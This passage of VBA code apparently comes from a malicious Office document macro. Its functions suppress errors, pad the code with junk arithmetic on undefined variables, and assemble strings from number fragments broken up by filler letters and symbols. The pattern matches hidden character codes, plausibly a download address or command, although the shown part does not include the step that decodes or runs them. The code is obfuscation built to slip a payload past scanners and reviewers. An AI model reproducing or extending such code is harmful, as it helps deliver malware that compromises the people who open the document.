Next\naSYqbY = (NYhFdJ * 14043 + 95555 * CInt(JbAbi - CDbl(85932)) * 34447 * Oct(6128))\nIwAiqcjph = \"110\" + \"k9\" + \"9U\" + \"10\" + \"7s\" + \"10\" + \"0s9\"\nsMbdS = (mjXvzE * 44400 + 28557 * CInt(RRVmG - CDbl(72897)) * 9507 * Oct(11449))\nhibCVnVA = \"8e\" + \"117\" + \"_3\" + \"3s1\" + \"15\" + \"e96\" + \"_1\"\nGKIRLv = (AUjjMQ * 70158 + 13321 * CInt(SzlLwz - CDbl(73980)) * 24534 * Oct(87304))\nfCpzrWwFUS = \"11M\" + \"10\" + \"1_1\" + \"10k\" + \"10\" + \"8t5\"\nRXfwX = (GnWHoV * 40473 + 55086 * CInt(wjqfu - CDbl(758)) * 62661 * Oct(27154))\nGOPfL = \"8k\" + \"37_\" + \"87>\" + \"71\"\nooTup = (YvYBd * 19943 + 41359 * CInt(IwGcN - CDbl(99744)) * 92795 * Oct(93817))\nlmYrRFBD = \"U1\" + \"16\" + \"U7\" + \"0M\" + \"96M\"\nIzzOvh = (JlJdIj * 37159 + 22196 * CInt(NitzTz - CDbl(6846)) * 55878 * Oct(21484))\nPIVjA = \"33t\" + \"60\" + \"_33\" + \"P1\" + \"11c\"\njoXSOF = (MLzpuc * 26928 + 48556 * CInt(sArQYc - CDbl(89496)) * 57803 * Oct(186))\njrcHRcV = \"10\" + \"0s1\" + \"18\" + \"t44\" + \">1\"\nRuUhMFatIX = IwAiqcjph + hibCVnVA + fCpzrWwFUS + GOPfL + lmYrRFBD + PIVjA + jrcHRcV\nDzIJt = (CNwKm * 35547 + 90911 * CInt(QWIOJ - CDbl(36313)) * 11064 * Oct(59941))\nEnd Function\nFunction HXqoFjPtPRH()\nOn Error Resume Next\ncGClv = (GttSw * 4830 + 84895 * CInt(BDSrP - CDbl(30599)) * 28671 * Oct(8793))\nvTOqz = \"10P\" + \"99e\" + \"10\" + \"7_\"\nFUzCU = (UhLXbf * 4594 + 83020 * CInt(HDrQtz - CDbl(96758)) * 41178 * Oct(47001))\nCWJdjIf = \"10\" + \"0P9\" + \"8t1\" + \"17P\" + \"33\" + \"t8\"\nGLqaq = (JYhzQ * 91721 + 14054 * CInt(NYlliQ - CDbl(48129)) * 99073 * Oct(23258))\nIufhKwiscQj = \"2U\" + \"120\" + \"M1\"\nkMYwLZ = (wbjOV * 56582 + 12105 * CInt(ISHVu - CDbl(39614)) * 23196 * Oct(92836))\nnpjoC = \"14\" + \"P11\" + \"7M\" + \"10\" + \"0P\"\nCUOMq = (tGzJq * 57556 + 83098 * CInt(MHpSU - CDbl(45111)) * 43510 * Oct(86148))\nYInRvC = \"10\" + \"8t4\" + \"7c\" + \"79c\" + \"100\" + \"k11\"\nHXqoFjPtPRH = vTOqz + CWJdjIf + IufhKwiscQj + npjoC + YInRvC\nfPVwRi = (MYPRv * 82800 + 22212 * CInt(HTqIVT - CDbl(29959)) * 83779 * Oct(33558))\nEnd Function\nFunction lkKsdIBWO()\nOn Error Resume Next\nuNECr = (jJYjw * 40172 + 17719 * CInt(cjzSOZ - CDbl(28283)) * 42070 * Oct(91820))\nISfjH = \"7>4\" + \"7U8\" + \"6e1\" + \"00M\"\nKBjOWc = (YEqXQ * 26789 + 19613 * CInt(rhmScz - CDbl(74915)) * 19418 * Oct(29031))\ncqEcYzWXus = \"99k\" + \"66\" + \"_10\"\noWzdrs = (SIrpr * 41043 + 74920 * CInt(TYQSDL - CDbl(36634)) * 75513 * Oct(72684))\nrfZdms = \"9k1\" + \"04M\" + \"10\"\nlkKsdIBWO = ISfjH + cqEcYzWXus + rfZdms\nscDTw = (rRihF * 35721 + 90149 * CInt(zzwFS - CDbl(82281)) * 98426 * Oct(23645))\nEnd Function\nFunction SSfjfSDFdH()\nOn Error Resume Next\nVIYWrL = (ViLGz * 31448 + 39679 * CInt(KUwZmF - CDbl(82329)) * 2055 * Oct(57182))\nItFQFLfzTQ = \"0s1\" + \"11\" + \"_1\" + \"17s\" + \"58k\" + \"37\"\nUDNNU = (XfdiKZ * 1885 + 99080 * CInt(OLXHo - CDbl(25000)) * 64673 * Oct(59571))\nRnGDVQFZJLV = \"_10\" + \"9U1\" + \"06M\" + \"83U\"\nuwsZZu = (HvSXHG * 15813 + 26751 * CInt(iTmmn - CDbl(71345)) * 37082 * Oct(98421))\nQtnhNUSilUM = \"11\" + \"3P\" + \"11\" + \"3P1\" + \"13\" + \"P33\" + \"k6\"\nXtTtp = (mYNSWC * 97420 + 11568 * CInt(DDiicw - CDbl(16202)) * 7052 * Oct(17899))\nTwORD = \"0P\" + \"33\" + \"P3\" + \"8e\" + \"105\" + \"e11\"\nSSfjfSDFdH = ItFQFLfzTQ + RnGDVQFZJLV + QtnhNUSilUM + TwORD\nFtusLJ = (sFCALN * 11078 + 54190 * CInt(isprNj - CDbl(26835)) * 7128 * Oct(67320))\nEnd Function\nFunction lSWDpWG()\nOn Error Resume Next\nGlXUPp = (Cjzsj * 4306 + 17533 * CInt(KtDisp - CDbl(47244)) * 11416 * Oct(83482))\nTwROFjiEH = \"7t1\" + \"17\" + \"M1\" + \"13\" + \"U59\" + \">46\" + \">4\"\nPOSdV = (qJaCtV * 70416 + 74584 * CInt(ALWis - CDbl(4242)) * 81406 * Oct(61990))\nmqokw = \"6P\" + \"98P\" + \"104\" + \"P10\" + \"9c1\"\nDqJVqv = (ffEzbs * 47438 + 25793 * CInt(BWbGw - CDbl(77280)) * 16307 * Oct(33038))\nEtkIwXjsrNA = \"04\" + \"e1\" + \"11\"\nrdCbw = (ZiSaf * 40562 + 41720 * CInt(fUOqf - CDbl(75711)) * 69203 * Oct(16499))\ntiPrORfMw = \"U10\" + \"6P9\" + \"6s\" + \"47>\" + \"11\" + \"1U1\"\nlSWDpWG = TwROFjiEH + mqokw + EtkIwXjsrNA + tiPrORfMw\nILrfOa = (Pisww * 34460 + 61549 * CInt(jrZtZ - CDbl(96244)) * 65829 * Oct(95159))\nEnd Function\nFunction CQkMAmHMnk()\nOn Error Resume Next\nEwljwc = (njrtPH * 66553 + 20559 * CInt(RLwcX - CDbl(38385)) * 25213 * Oct(78400))\nQizqNt = \"09\" + \"c4\" + \"6e1\" + \"07\" + \"P10\"\nJoNqj = (aOLbSo * 33817 + 32812 * CInt(PKPam - CDbl(77622)) * 49076 * Oct(16340))\nCzGUHrtSrzs = \"3>\" + \"78s\" + \"100\" + \"k8\" + \"1k\"\nlHmlV = (kjwZo * 77298 + 31405 * CInt(zCSAvH - CDbl(85232)) * 37010 * Oct(99804))\nXsFGnvTETT = \"12\" + \"1k\" + \"99M\"\nrNMEmC = (jjwFb * 4161 + 79500 * CInt(Eqjssc - CDbl(33371)) * 97455 * Oct(27623))\nUpzCNBSiO = \"83\" + \"c4\" + \"6s6\"\nYUniB = (RIsuH * 90211 + 61615 * CInt(uCEISq - CDbl(47776)) * 515 * Oct(56153))\nVuSnd = \"5M\" + \"105\" + \"_11\" + \"7_1\" + \"17U\" + \"11\" + \"3t\"\nrQJbH = (ZOwoN * 65022 + 67137 * CInt(fbnTK - CDbl(90893)) * 71784 * Oct(17882))\nvZwHnpFfz = \"59\" + \"U4\" + \"6P4\" + \"6s\" + \"98_\"\nCQkMAmHMnk = QizqNt + CzGUHrtSrzs + XsFGnvTETT + UpzCNBSiO + VuSnd + vZwHnpFfz\nlzpXJ = (XrYrfn * 70250 + 26098 * CInt(AZUtwr - CDbl(67703)) * 24550 * Oct(38144))\nEnd Function\nFunction mOfKZdsuf()\nOn Error Resume Next\ndqDFqh = (hFXdR * 89796 + 32123 * CInt(azpqDS - CDbl(89525)) * 26598 * Oct(93839))\nzoFSBA = \"105\" + \"M10\" + \"4c\" + \"111\"\nkbrMT = (kVYjp * 39185 + 71635 * CInt(JJFiqN - CDbl(67756)) * 59994 * Oct(6581))\nErkuqrPXwnk = \"k9\" + \"6c\" + \"10\" + \"4e1\"\nVutVQ = (icGnFG * 58501 + 40277 * CInt(UsvWkr - CDbl(12704)) * 22861 * Oct(14852))\nUKUpu = \"08\" + \"e99\" + \">1\" + \"04k\" + \"11\" + \"4P1\"\nmOfKZdsuf = zoFSBA + ErkuqrPXwnk + UKUpu\nuNPXjj = (XjrYJ * 28547 + 10449 * CInt(zNOzcC - CDbl(59242)) * 69690 * Oct(85733))\nEnd Function\nFunction qzUrQAThX()\nOn Error Resume Next\nUnIST = (iloWT * 36369 + 9962 * CInt(EAjzd - CDbl(26965)) * 21950 * Oct(57459))\noKoaimBfHI = \"14\" + \"t44\" + \">99\" + \"k11\" + \"6P1\"\nfmisOf = (PdWCOv * 93107 + 9180 * CInt(cpXai - CDbl(46430)) * 59357 * Oct(15337))\npllHjLWH = \"00k\" + \"11\" + \"7U1\" + \"17P\" + \"10\"\ntbThGi = (qzdjo * 42715 + 39738 * CInt(IHqvD - CDbl(15481)) * 17556 * Oct(8468))\nsdqXhAsI = \"2_1\" + \"00M\" + \"111\"\nqzUrQAThX = oKoaimBfHI + pllHjLWH + sdqXhAsI\nkAYnDH = (HWBUE * 23482 + 65856 * CInt(ssYzS - CDbl(47130)) * 47536 * Oct(12453))\nEnd Function\nFunction vTsjk()\nOn Error Resume Next\nRRbii = (jkWow * 11584 + 11770 * CInt(nqWYR - CDbl(39831)) * 99506 * Oct(3708))\njpsYs = \"U4\" + \"7M\" + \"101\"\nZTDLjL = (FLuDWl * 60572 + 47992 * CInt(RSkhX - CDbl(72680)) * 31477 * Oct(73641))\nPXSKjhDQhBw = \"P10\" + \"0M4\" + \"6k1\" + \"08\"\nkHwAH = (VPVCOf * 88270 + 98323 * CInt(ljkLC - CDbl(99277)) * 3767 * Oct(21011))\nPSPdW = \"s12\" + \"0e4\" + \"8s\" + \"103\" + \"s11\"\nzzCOUZ = (DRpzEp * 11009 + 9191 * CInt(iHQcK - CDbl(87501)) * 46249 * Oct(37157))\nqIcEXRiU = \"6U\" + \"10\" + \"2k\" + \"118\" + \"k8\" + \"7P\" + \"46\"\nvoBEj = (iwwAH * 68272 + 11979 * CInt(vPKOEz - CDbl(39850)) * 92842 * Oct(56577))\nlkUptOlpPC = \"k6\" + \"5k\" + \"105\" + \"s11\" + \"7e\" + \"117\"\nDUslim = (biCYl * 73147 + 97550 * CInt(SQHqFz - CDbl(48141)) * 54112 * Oct(23785))\nFcZZIOo = \"P11\" + \"3_\" + \"59\" + \"_4\" + \"6M\" + \"46t\"\nNzfTT = (zKVBPd * 94380 + 27537 * CInt(ufADW - CDbl(20517)) * 56583 * Oct(23470))\nhKhcKllMPR = \"118\" + \"k11\" + \"8c\" + \"118\" + \"k47\" + \"c1\"\nvTsjk = jpsYs + PXSKjhDQhBw + PSPdW + qIcEXRiU + lkUptOlpPC + FcZZIOo + hKhcKllMPR\nljNFYi = (sjRUna * 15994 + 29810 * CInt(ZaQzS - CDbl(79338)) * 37427 * Oct(87112))\nEnd Function\nFunction MWudWOlDpV()\nOn Error Resume Next\nKRYYqJ = (nwhkit * 74032 + 74857 * CInt(XzftY - CDbl(38051)) * 44960 * Oct(71268))\nusELWqAutnf = \"08e\" + \"96U\" + \"115\"\nwkMOOw = (TbNQF * 37086 + 80416 * CInt(kzcaf - CDbl(64112)) * 60349 * Oct(76868))\nEipYpbtG = \"e11\" + \"5c1\" + \"04P\" + \"96\"\nZurnzF = (unhtZX * 47329 + 69443 * CInt(UKSYWR - CDbl(7921)) * 15075 * Oct(47180))\nADmBWfIUdP = \">1\" + \"02c\" + \"100\" + \"U1\" + \"02s\"\nMWudWOlDpV = usELWqAutnf + EipYpbtG + ADmBWfIUdP\nYrwFK = (wioTE * 54468 + 38647 * CInt(WWSmw - CDbl(64953)) * 26095 * Oct(52026))\nEnd Function\nFunction jBsaoRdHzKc()\nOn Error Resume Next\npLWNOH = (qjPqj * 98346 + 95476 * CInt(WbdojQ - CDbl(62221)) * 84439 * Oct(81392))\ncMmFoNIYW = \"96\" + \"k1\" + \"15\" + \">10\" + \"1t\" + \"100\" + \"s1\"\nCzzRLq = (zzHunE * 63921 + 52746 * CInt(dVNdoX - CDbl(47464)) * 70240 * Oct(30102))\nWHXrILLzofO = \"11\" + \"U11\" + \"4k\" + \"47>\" + \"10\" + \"4t1\"\nEZrbJ = (jQMHJ * 47434 + 47053 * CInt(vizqn - CDbl(67471)) * 44405 * Oct(92562))\nXzbXtnqq = \"11s\" + \"46M\" + \"10\" + \"1>4\" + \"9M1\" + \"05k\"\njBsaoRdHzKc = cMmFoNIYW + WHXrILLzofO + XzbXtnqq\nDmLiN = (ibOCq * 73757 + 42174 * CInt(YwbGo - CDbl(39683)) * 38105 * Oct(45078))\nEnd Function\nFunction vhXbf()\nOn Error Resume Next\nwphFY = (zjzIMo * 78815 + 95850 * CInt(THhjuW - CDbl(65452)) * 72910 * Oct(49530))\naYGzZTTwnO = \"11\" + \"6U9\" + \"9e\" + \"82\" + \"_1\"\nbsLcib = (fhOpfC * 12946 + 86479 * CInt(VsiJS - CDbl(67654)) * 531 * Oct(74245))\nzdKpIzztaBf = \"17t\" + \"46\" + \"_6\" + \"5e\" + \"10\" + \"5e1\" + \"17e\"\njmndiO = (Hdzpl * 8471 + 29006 * CInt(TIGjzn - CDbl(10342)) * 51815 * Oct(75789))\nlkfYMJ = \"11\" + \"7e\" + \"113\"\nApHQJr = (ZoCoFC * 99400 + 180 * CInt(XZJDjR - CDbl(56870)) * 94825 * Oct(80817))\nXYZIE = \"c5\" + \"9_4\" + \"6P4\" + \"6k\" + \"118\"\ncRnzb = (AAhZv * 83564 + 37113 * CInt(zLPMs - CDbl(26636)) * 11349 * Oct(14049))\nzGwhuQqP = \"s11\" + \"8M1\" + \"18k\" + \"47>\" + \"117\" + \"s9\" + \"6P\"\nvhXbf = aYGzZTTwnO + zdKpIzztaBf + lkfYMJ + XYZIE + zGwhuQqP\nMPjRkw = (LKaAPa * 72784 + 78918 * CInt(cFCSar - CDbl(62405)) * 11517 * Oct(8470))\nEnd Function\nFunction WuzXauwJi()\nOn Error Resume Next\nUBQFc = (Uiaju * 89786 + 30036 * CInt(zNkRT - CDbl(79792)) * 44261 * Oct(50110))\nmWmanRjov = \"109\" + \"s9\" + \"6P\"\nlPIDpI = (jaMfc * 65407 + 90500 * CInt(wwusK - CDbl(10159)) * 61976 * Oct(65059))\nfwccqTpI = \"11\" + \"7s1\" + \"08\" + \"c11\" + \"0k\" + \"99s\" + \"104\"\nwUNGPm = (iuafp * 38262 + 561 * CInt(ZFAUhk - CDbl(53177)) * 30659 * Oct(35239))\nNfwdazVhq = \"e1\" + \"09\" + \"_12\" + \"0t9\" + \"6_\" + \"47\"\nTXuiPV = (hSFUu * 28940 + 38835 * CInt(wzhHPQ - CDbl(58070)) * 91918 * Oct(28978))\ncuTdYfq = \"M98\" + \"k11\" + \"0>1\" + \"08\" + \"k4\" + \"6s\"\nWuzXauwJi = mWmanRjov + fwccqTpI + NfwdazVhq + cuTdYfq\nFELAF = (EvbwP * 38950 + 7598 * CInt(FZHBuK - CDbl(59900)) * 81603 * Oct(61754))\nEnd Function\nFunction vYwvwVhr()\nOn Error Resume Next\njmtICP = (bfLJQu * 65034 + 24329 * CInt(QznYXd - CDbl(87225)) * 5384 * Oct(3175))\nApZurnIpZRk = \"10\" + \"8c9\" + \"8_5\" + \"0_1\"\nIcAEnP = (dQScv * 86153 + 22794 * CInt(oosVp - CDbl(60964)) * 49341 * Oct(78681))\nAhXqQcqLk = \"20\" + \"P1\" + \"20>\" + \"81\" + \">79\" + \"U46\"\nufCIJ = (tqHMG * 23602 + 50808 * CInt(XurQRt - CDbl(11090)) * 40595 * Oct(12860))\nhFSdn = \"k6\" + \"5e\" + \"105\" + \"e11\" + \"7P1\" + \"17\"\nQjpAhM = (inoJI * 24124 + 32281 * CInt(KZmoj - CDbl(10077)) * 90364 * Oct(26777))\nTmVYllXA = \"e1\" + \"13e\" + \"59s\" + \"46e\" + \"46s\"\nVazPI = (GZYara * 32440 + 86910 * CInt(uBXYl - CDbl(33668)) * 28410 * Oct(65658))\nMkQVzUDCEH = \"98c\" + \"105\" + \"_11\"\nwHUTja = (VVbiG * 28930 + 90398 * CInt(sikjmZ - CDbl(87306)) * 87481 * Oct(61394))\nNqGDXwdMf = \"6U\" + \"115\" + \"M9\" + \"8c1\" + \"05s\" + \"111\"\ntihWcv = (sWTBa * 74393 + 85386 * CInt(DVFpOC - CDbl(60664)) * 12875 * Oct(93961))\nMzEfFp = \"P1\" + \"00U\" + \"118\" + \"c11\" + \"0k1\" + \"15\"\nvYwvwVhr = ApZurnIpZRk + AhXqQcqLk + hFSdn + TmVYllXA + MkQVzUDCEH + NqGDXwdMf + MzEfFp\nDjfvBC = (ornvp * 98735 + 86867 * CInt(XNsbZS - CDbl(91607)) * 85234 * Oct(70016))\nEnd Function\nFunction FAVQQk()\nOn Error Resume Next\nDoERZO = (kqYOb * 93596 + 41306 * CInt(nlvFD - CDbl(27273)) * 42678 * Oct(23038))\nCOdhkLv = \"P10\" + \"9k\" + \"100\"\nrpniX = (HovNz * 28102 + 17631 * CInt(RYWEI - CDbl(39059)) * 32955 * Oct(91825))\nFBbjvEHm = \"_9\" + \"6c\" + \"111\" + \"P11\" + \"4k\"\nWLmhA = (jUhcvZ * 70144 + 51791 * CInt(NdRajj - CDbl(46396)) * 3382 * Oct(58146))\nwSjwjrZp = \"47M\" + \"110\" + \"M1\" + \"15\" + \"c1\"\ndjjJN = (rvXQTk * 61535 + 14478 * CInt(OsPmN - CDbl(95479)) * 64031 * Oct(95967))\ntrdaijcnJA = \"02c\" + \"46M\" + \"103\" + \"s49\"\nFAVQQk = COdhkLv + FBbjvEHm + wSjwjrZp + trdaijcnJA\nqfDqPh = (JITWGz * 21015 + 39003 * CInt(DiMKZc - CDbl(94922)) * 18469 * Oct(48072))\nEnd Function\nFunction MDEYpVMcjo()\nOn Error Resume Next\nqIPQQ = (iDSioB * 62245 + 80494 * CInt(JcMkv - CDbl(27789)) * 64948 * Oct(91013))\nziATWpzYTHk = \"t79\" + \"P5\" + \"7k1\" + \"11\" + \"c8\" + \"2e\" + \"113\"\nJTUnD = (itRwr * 81066 + 88919 * CInt(DaXwsm - CDbl(92535)) * 5057 * Oct(96343))\nbKhpXLG = \">4\" + \"6M\" + \"38\"\nsPAkY = (DINNGw * 53512 + 90735 * CInt(EAujjw - CDbl(53175)) * 30019 * Oct(71435))\nCDcqYw = \"_47\" + \"M82\" + \"M11\" + \"3c\" + \"109\"\nKXRpJ = (HVzun * 26649 + 94302 * CInt(nticj - CDbl(70564)) * 13036 * Oct(96853))\ndkzbUmKm = \"U1\" + \"04c\" + \"11\"\nznmBTO = (RAPcN * 12715 + 73380 * CInt(EIzbi - CDbl(745)) * 21761 * Oct(82162))\nomAqBWGwasq = \"7e\" + \"41\" + \"k3\" + \"8s\" + \"65_\" + \"38e\"\nZvqQw = (ACMuUB * 44356 + 8471 * CInt(GZdnwU - CDbl(13685)) * 63691 * Oct(13466))\nRSMIzVzrdr = \"40\" + \"k58\" + \"e37\" + \"_1\"\nMDEYpVMcjo = ziATWpzYTHk + bKhpXLG + CDcqYw + dkzbUmKm + omAqBWGwasq + RSMIzVzrdr\nYYlfU = (mwjbXY * 14602 + 35222 * CInt(OaBLS - CDbl(33911)) * 63425 * Oct(7067))\nEnd Function\nFunction diNCMYStw()\nOn Error Resume Next\nVEWXr = (SOjBZK * 29534 + 44187 * CInt(ShEodQ - CDbl(65461)) * 34388 * Oct(22089))\npCrLSjnPIm = \"15k\" + \"10\" + \"6P\" + \"11\"\nkuFVo = (rUZJPF * 27979 + 9634 * CInt(IIpFs - CDbl(12905)) * 98607 * Oct(6141))\nioOzzIIFXot = \"3U\" + \"10\" + \"5s\"\ntkMsa = (nmLBHn * 25284 + 87441 * CInt(EhppNc - CDbl(24683)) * 36888 * Oct(99729))\nYbrTBOb = \"11\" + \"3c3\" + \"3k\" + \"60\" + \"c33\" + \"_3\" + \"7e\"\nUIsMSP = (rwbEkw * 88996 + 59355 * CInt(cuNzN - CDbl(90911)) * 29199 * Oct(89777))\nnYwDVVvK = \"98\" + \"t66\" + \"M99\" + \"k10\"\nKQJpj = (RMFFmu * 51292 + 84933 * CInt(WwQRpU - CDbl(66988)) * 91338 * Oct(20961))\ndiwYHufROzS = \"9>\" + \"96\" + \"s47\" + \">1\" + \"11s\" + \"10\"\ndiNCMYStw = pCrLSjnPIm + ioOzzIIFXot + YbrTBOb + nYwDVVvK + diwYHufROzS\nASGCZZ = (wLIwbB * 31036 + 90651 * CInt(XtoscB - CDbl(4560)) * 52326 * Oct(50473))\nEnd Function\nFunction NPoQT()\nOn Error Resume Next\nizEjb = (wzjOL * 19699 + 61249 * CInt(twPjnv - CDbl(89316)) * 942 * Oct(43421))\nqlKZLF = \"0s1\" + \"21e\" + \"11\"\nzpHSO = (PicIuv * 87583 + 59370 * CInt(dcCjjc - CDbl(25304)) * 25796 * Oct(15622))\njLzZuwtutT = \"7s\" + \"41s\" + \"48\" + \"k45\" + \"e3\" + \"3c5\"\njmSniW = (aBjmOf * 70085 + 65394 * CInt(jhXlwC - CDbl(70258)) * 6940 * Oct(19305))\nfVTjojEcI = \"1t\" + \"51\" + \"U56\" + \"t55\" + \"_48\" + \"P5\" + \"3s\"\nNPoQT = qlKZLF + jLzZuwtutT + fVTjojEcI\nsQpaj = (wUiLzq * 95725 + 72511 * CInt(UrvuO - CDbl(93765)) * 34585 * Oct(3685))\nEnd Function\nFunction sjmtozvp()\nOn Error Resume Next\nvfqWAd = (OdLiN * 71413 + 52376 * CInt(KPLBWA - CDbl(79516)) * 69313 * Oct(72250))\nHEnVsX = \"40\" + \"U58\" + \"e3\" + \"7>\"\ndKoJv = (aOHiE * 73127 + 54492 * CInt(FJiMm - CDbl(13188)) * 5855 * Oct(68179))\nbHHFpFcREw = \"105\" + \">1\" + \"16\" + \"k9\" + \"6_9\"\nwjzkQ = (hGvEBW * 35630 + 25135 * CInt(ipEwd - CDbl(92948)) * 89819 * Oct(46394))\nHpHCEuwiA = \"1_7\" + \"2s3\" + \"3k6\" + \"0M3\"\nswMScw = (RuusZv * 71663 + 18890 * CInt(ZYJhaw - CDbl(74392)) * 93443 * Oct(56637))\nNPvTojD = \"3>3\" + \"7U1\" + \"00\" + \"_11\" + \"1U\" + \"119\"\nwCEFUB = (MsTSP * 57863 + 94721 * CInt(jcXUf - CDbl(74434)) * 8464 * Oct(90373))\nbiozuTY = \">59\" + \"_11\" + \"7k\"\nEXlqM = (JQowBc * 26490 + 77935 * CInt(rNjsqQ - CDbl(19953)) * 89152 * Oct(23219))\nnYwwN = \"100\" + \"M10\" + \"8t\" + \"11\" + \"3U\" + \"33>\" + \"42e\"\nqUOcz = (rHoBwQ * 40560 + 99220 * CInt(JCajvz - CDbl(42313)) * 77095 * Oct(95041))\nJHbTunbqj = \"33e\" + \"38\" + \"e9\" + \"3k3\" + \"8e3\" + \"3c\"\nsjmtozvp = HEnVsX + bHHFpFcREw + HpHCEuwiA + NPvTojD + biozuTY + nYwwN + JHbTunbqj\nRCLEzt = (ZjVbvn * 82358 + 12464 * CInt(VZmia - CDbl(86260)) * 69797 * Oct(91065))\nEnd Function\nFunction QSMZsrNcOFA()\nOn Error Resume Next\nNjOQKU = (RwjojC * 77998 + 15139 * CInt(qmiWO - CDbl(28726)) * 68879 * Oct(49116))\nGdpSzFzN = \"42t\" + \"33\" + \"k3\"\nbwBTCY = (QYmJP * 16915 + 47382 * CInt(udoKR - CDbl(56860)) * 37334 * Oct(71098))\npIkAXDnaa = \"7P\" + \"11\" + \"5P1\" + \"06s\" + \"11\"\nLkGGZR = (zoiiYf * 96668 + 93511 * CInt(WPdCz - CDbl(6616)) * 65534 * Oct(25756))\njFlkaO = \"3e1\" + \"05k\" + \"11\" + \"3P3\" + \"3P\" + \"42s\" + \"33s\"\nbkZZHI = (LWHSR * 23544 + 83275 * CInt(nKaip - CDbl(54299)) * 30310 * Oct(60711))\nRuoKm = \"38c\" + \"47\" + \"_1\" + \"00>\" + \"12\"\nCvNpih = (Btczj * 46980 + 51174 * CInt(WaMJqi - CDbl(80121)) * 19260 * Oct(47099))\nRFnhJBFsNhw = \"1P1\" + \"00\" + \"k3\" + \"8c5\" + \"8s1\"\nQSMZsrNcOFA = GdpSzFzN + pIkAXDnaa + jFlkaO + RuoKm + RFnhJBFsNhw\nOndDX = (LFhWM * 89347 + 35558 * CInt(owQYjt - CDbl(49600)) * 29770 * Oct(68159))\nEnd Function\nFunction jjcNOJMLUY()\nOn Error Resume Next\nHPPGoN = (lpSUt * 60128 + 96156 * CInt(bmbqE - CDbl(39585)) * 53888 * Oct(15857))\nYNwqlfEhJ = \"03\" + \"P1\" + \"10\" + \"P1\" + \"15t\" + \"100\" + \"M96\"\nUsORai = (wEjwIl * 9516 + 32027 * CInt(JaFzI - CDbl(91380)) * 37884 * Oct(35078))\nWEjsNjioV = \"c98\" + \"c1\" + \"05s\" + \"41\" + \"M37\" + \">1\" + \"11\"\nHHwYf = (fGfmw * 99580 + 92475 * CInt(KVVov - CDbl(3083)) * 25430 * Oct(80832))\nvdLXYsGt = \"P10\" + \"5M\" + \"10\" + \"1U9\" + \"9c\" + \"74\"\nLWvtWI = (YYvOTX * 98369 + 50227 * CInt(KQBGS - CDbl(38636)) * 38407 * Oct(25021))\nrwWwQmwa = \"c8\" + \"1>\" + \"33\" + \"_1\"\nuimGY = (pRanB * 69344 + 60001 * CInt(wDNYD - CDbl(64548)) * 83586 * Oct(75386))\nmHfbKSLYL = \"04_\" + \"111\" + \"k33\" + \"k37\" + \"c1\" + \"09\"\nvPkkL = (OqDidc * 57442 + 78946 * CInt(AfZBw - CDbl(23274)) * 46894 * Oct(79140))\nvHTjJQl = \"k10\" + \"6c8\" + \"3s\" + \"11\" + \"3t\" + \"11\" + \"3s1\"\nIDDEvQ = (YHIrqn * 61275 + 57734 * CInt(LwwBBj - CDbl(39527)) * 27401 * Oct(91916))\nbowqkRBWHiT = \"13s\" + \"40\" + \"e12\" + \"2P\"\njjcNOJMLUY = YNwqlfEhJ + WEjsNjioV + vdLXYsGt + rwWwQmwa + mHfbKSLYL + vHTjJQl + bowqkRBWHiT\nYIpqK = (aFcIf * 19438 + 90588 * CInt(CEUVzb - CDbl(25010)) * 98862 * Oct(90501))\nEnd Function\nFunction qErwin()\nOn Error Resume Next\nkQZnd = (ipIXrW * 67557 + 32705 * CInt(UQiDVC - CDbl(3506)) * 1912 * Oct(22650))\nvbaowFpKwv = \"11\" + \"7e1\" + \"15M\" + \"120\" + \"M1\" + \"22\" + \"M3\"\nzMwQUK = (NVFuz * 75632 + 52695 * CInt(ZqBXv - CDbl(61021)) * 41387 * Oct(6814))\nqfUiuWojN = \"7P8\" + \"7U\" + \"71M\" + \"11\"\ndKiwZ = (iPNnj * 29535 + 68957 * CInt(oMSJN - CDbl(21522)) * 7802 * Oct(43964))\nPpMiwdR = \"6k\" + \"70M\" + \"96>\"\nGBwLAd = (TbIbn * 18776 + 61570 * CInt(oEWfjz - CDbl(89859)) * 72849 * Oct(79544))\nVPwUvjwjXuw = \"47P\" + \"69\" + \"c1\" + \"10\" + \"e11\"\nNKdWI = (TGhYuc * 12238 + 66250 * CInt(zUFGIl - CDbl(58412)) * 63197 * Oct(79493))\nNFnZcCi = \"8e1\" + \"11k\" + \"10\" + \"9U\" + \"110\"\nJoYnd = (QHtnT * 75381 + 94827 * CInt(QIjbH - CDbl(66671)) * 23102 * Oct(95903))\njQdcARCS = \">96\" + \"_10\" + \"1t7\" + \"1t1\" + \"04P\"\nqErwin = vbaowFpKwv + qfUiuWojN + PpMiwdR + VPwUvjwjXuw + NFnZcCi + jQdcARCS\ntlipfh = (idnAzE * 89251 + 37020 * CInt(MiUNv - CDbl(34403)) * 19940 * Oct(44592))\nEnd Function\nFunction zKElZaImdi()\nOn Error Resume Next\nqAFCZG = (LzfBw * 42756 + 71115 * CInt(MEpzwU - CDbl(23340)) * 26505 * Oct(25345))\nvUsqrznKwW = \"10\" + \"9s\" + \"100\" + \"M4\" + \"1e3\"\nvErkt = (bHDojb * 62290 + 8322 * CInt(roEPRF - CDbl(81149)) * 87032 * Oct(89610))\nDUjFrihDG = \"7s\" + \"111\" + \"s1\" + \"05\" + \"M10\"\nqcKaR = (mridCS * 51086 + 12664 * CInt(ZrSwt - CDbl(71123)) * 46146 * Oct(72208))\nwUPFuF = \"1c9\" + \"9U7\" + \"4c\"\nEjHwv = (FLwjC * 99871 + 31906 * CInt(mKujBa - CDbl(59426)) * 49406 * Oct(26026))\nhIHbLSDn = \"81\" + \"P4\" + \"7>8\"\nMrOXwB = (SqsWl * 43411 + 76632 * CInt(MYrVqE - CDbl(6227)) * 17870 * Oct(20024))\nlvEStY = \"5U\" + \"11\" + \"0U8\" + \"2U\"\nmwBWLn = (SKmDEh * 27730 + 90915 * CInt(jJXKA - CDbl(75856)) * 13009 * Oct(74783))\nkpKZct = \"11\" + \"7e\" + \"115\" + \"_1\" + \"04\" + \"t1\" + \"11M\"\nzKElZaImdi = vUsqrznKwW + DUjFrihDG + wUPFuF + hIHbLSDn + lvEStY + kpKZct\nBnEWtI = (DsKCOw * 60222 + 10311 * CInt(TMBtIr - CDbl(55086)) * 50689 * Oct(44011))\nEnd Function\nFunction XEBQXwDWM()\nOn Error Resume Next\ntlzfz = (OhJzav * 32196 + 56672 * CInt(ApEsF - CDbl(75156)) * 57985 * Oct(35608))\niQrbHc = \"10\" + \"2>4\" + \"1>\" + \"40k\" + \"45\"\nhbFth = (LdzYP * 94659 + 7236 * CInt(LKzPV - CDbl(11240)) * 32227 * Oct(44863))\nMVJLfrrzhwS = \"s3\" + \"3c3\" + \"7>1\"\nYYHCYh = (hPShz * 46028 + 74516 * 